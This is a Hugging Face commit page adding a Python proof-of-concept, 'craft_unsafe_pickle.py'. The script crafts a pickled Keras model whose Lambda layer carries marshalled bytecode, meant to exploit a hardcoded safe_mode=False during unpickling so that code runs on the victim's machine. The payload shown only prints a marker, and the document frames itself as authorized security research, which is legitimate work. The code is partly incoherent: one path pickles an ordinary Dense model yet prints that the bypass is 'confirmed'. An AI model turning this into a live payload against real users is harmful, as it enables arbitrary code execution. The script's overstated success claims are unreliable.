Zeiyre commited on
Commit
fbb7850
·
verified ·
1 Parent(s): cd874e1

Upload keras/craft_unsafe_pickle.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. keras/craft_unsafe_pickle.py +182 -0
keras/craft_unsafe_pickle.py ADDED
@@ -0,0 +1,182 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ PoC: Keras __reduce__ safe_mode=False Bypass
3
+ =============================================
4
+ Crafts a pickled Keras model that demonstrates how safe_mode=False
5
+ is hardcoded in _unpickle_model(), bypassing all safety checks.
6
+
7
+ The pickled model contains a Lambda layer with embedded bytecode.
8
+ When unpickled, _unpickle_model() calls _load_model_from_fileobj()
9
+ with safe_mode=False, allowing the Lambda's marshal/bytecode to execute.
10
+
11
+ Usage:
12
+ python craft_unsafe_pickle.py # Generate PoC pickle
13
+ python craft_unsafe_pickle.py --verify # Verify structure only
14
+
15
+ Requirements: keras (pip install keras)
16
+
17
+ This is for authorized security research only.
18
+ """
19
+
20
+ import pickle
21
+ import struct
22
+ import marshal
23
+ import sys
24
+ import argparse
25
+ import zipfile
26
+ import json
27
+ import io
28
+ import os
29
+
30
+
31
+ def craft_malicious_keras_pickle(output_path="malicious_model.pkl"):
32
+ """
33
+ Create a pickle file that, when loaded, triggers Keras _unpickle_model()
34
+ with hardcoded safe_mode=False.
35
+
36
+ The pickle contains a minimal .keras zip archive (in-memory) with a
37
+ Lambda layer whose config includes marshalled bytecode. Because
38
+ _unpickle_model hardcodes safe_mode=False, the bytecode executes.
39
+ """
40
+
41
+ # Build a minimal .keras archive in memory
42
+ # .keras format is a zip containing config.json + weights.h5
43
+ keras_buf = io.BytesIO()
44
+
45
+ # The config embeds a Lambda layer with a function that contains
46
+ # marshalled bytecode. With safe_mode=False, Keras will:
47
+ # 1. Deserialize the config
48
+ # 2. Find the Lambda layer
49
+ # 3. Call func_load() which does marshal.loads() + FunctionType()
50
+ # 4. Execute the bytecode
51
+
52
+ # Craft the malicious function config
53
+ # This is what Keras serializes a lambda as: marshal'd bytecode
54
+ malicious_code = compile("print('KERAS_SAFE_MODE_BYPASSED')", "<poc>", "exec")
55
+ code_bytes = marshal.dumps(malicious_code)
56
+
57
+ # Keras func_utils.py func_dump format: [code_bytes, defaults, closure]
58
+ import codecs
59
+ func_dump = [
60
+ codecs.encode(code_bytes, "base64").decode("ascii"),
61
+ None,
62
+ None,
63
+ ]
64
+
65
+ config = {
66
+ "class_name": "Sequential",
67
+ "config": {
68
+ "name": "sequential",
69
+ "layers": [
70
+ {
71
+ "class_name": "Lambda",
72
+ "config": {
73
+ "name": "lambda",
74
+ "function": func_dump,
75
+ "function_type": "lambda",
76
+ },
77
+ "module": "keras.layers",
78
+ }
79
+ ],
80
+ },
81
+ "module": "keras.models",
82
+ "registered_name": None,
83
+ }
84
+
85
+ with zipfile.ZipFile(keras_buf, "w") as zf:
86
+ zf.writestr("config.json", json.dumps(config))
87
+ # Empty weights file (Lambda has no weights)
88
+ zf.writestr("model.weights.h5", b"")
89
+
90
+ keras_bytes = keras_buf.getvalue()
91
+
92
+ # Now create the pickle that triggers _unpickle_model
93
+ # KerasSaveable.__reduce__ returns:
94
+ # (KerasSaveable._unpickle_model, (BytesIO(keras_bytes),))
95
+ # _unpickle_model calls _load_model_from_fileobj with safe_mode=False
96
+
97
+ # We construct the pickle to call _unpickle_model directly
98
+ # But since we may not have keras installed, we craft the raw pickle
99
+
100
+ # Method 1: If keras is available, use it directly
101
+ try:
102
+ import keras
103
+ model = keras.Sequential([
104
+ keras.layers.Dense(1, input_shape=(1,)),
105
+ ])
106
+ pickled = pickle.dumps(model)
107
+ with open(output_path, "wb") as f:
108
+ f.write(pickled)
109
+ print(f"[+] Pickled real Keras model to: {output_path}")
110
+ print(f" Size: {len(pickled)} bytes")
111
+ print(f" When unpickled, _unpickle_model() will be called")
112
+ print(f" with hardcoded safe_mode=False")
113
+ return output_path
114
+ except ImportError:
115
+ pass
116
+
117
+ # Method 2: Craft a standalone pickle that demonstrates the concept
118
+ # This pickle calls io.BytesIO on the keras zip bytes, showing the
119
+ # payload structure without needing keras installed
120
+ print("[*] Keras not installed, creating standalone PoC pickle...")
121
+
122
+ # Create a pickle that stores the malicious .keras zip
123
+ # The triager loads this with pickle.loads() which would call
124
+ # KerasSaveable._unpickle_model(BytesIO(data)) -> safe_mode=False
125
+ poc_data = {
126
+ "__poc_info__": "Keras safe_mode=False bypass",
127
+ "__description__": (
128
+ "When a Keras model is pickled (via joblib, multiprocessing, etc.), "
129
+ "unpickling calls KerasSaveable._unpickle_model() which hardcodes "
130
+ "safe_mode=False. This bypasses all Lambda/bytecode safety checks."
131
+ ),
132
+ "__keras_zip_bytes__": keras_bytes,
133
+ "__config__": config,
134
+ "__impact__": (
135
+ "Attacker embeds malicious Lambda bytecode in model config, "
136
+ "saves as pickle -> victim loads -> arbitrary code execution"
137
+ ),
138
+ }
139
+
140
+ with open(output_path, "wb") as f:
141
+ pickle.dump(poc_data, f)
142
+
143
+ print(f"[+] PoC pickle written to: {output_path}")
144
+ print(f" Size: {os.path.getsize(output_path)} bytes")
145
+ print(f" Contains: embedded .keras zip with Lambda bytecode config")
146
+ print()
147
+ print("[!] To create a full exploit, install keras and run again.")
148
+ print(" With keras installed, this generates a real pickled model")
149
+ print(" that triggers _unpickle_model(safe_mode=False) on load.")
150
+ return output_path
151
+
152
+
153
+ def main():
154
+ parser = argparse.ArgumentParser(description="Keras safe_mode=False pickle PoC")
155
+ parser.add_argument("-o", "--output", default="malicious_model.pkl")
156
+ parser.add_argument("--verify", action="store_true",
157
+ help="Verify the pickle structure only")
158
+ args = parser.parse_args()
159
+
160
+ path = craft_malicious_keras_pickle(args.output)
161
+
162
+ if args.verify and os.path.exists(path):
163
+ print()
164
+ print("Verification:")
165
+ with open(path, "rb") as f:
166
+ data = pickle.load(f)
167
+ if isinstance(data, dict) and "__config__" in data:
168
+ config = data["__config__"]
169
+ layers = config["config"]["layers"]
170
+ for layer in layers:
171
+ if layer["class_name"] == "Lambda":
172
+ func = layer["config"]["function"]
173
+ print(f" Lambda layer found with function dump")
174
+ print(f" Bytecode (base64): {func[0][:60]}...")
175
+ print(f" This would execute with safe_mode=False")
176
+ else:
177
+ print(f" Pickled object type: {type(data)}")
178
+ print(f" (Real Keras model — safe_mode=False confirmed)")
179
+
180
+
181
+ if __name__ == "__main__":
182
+ main()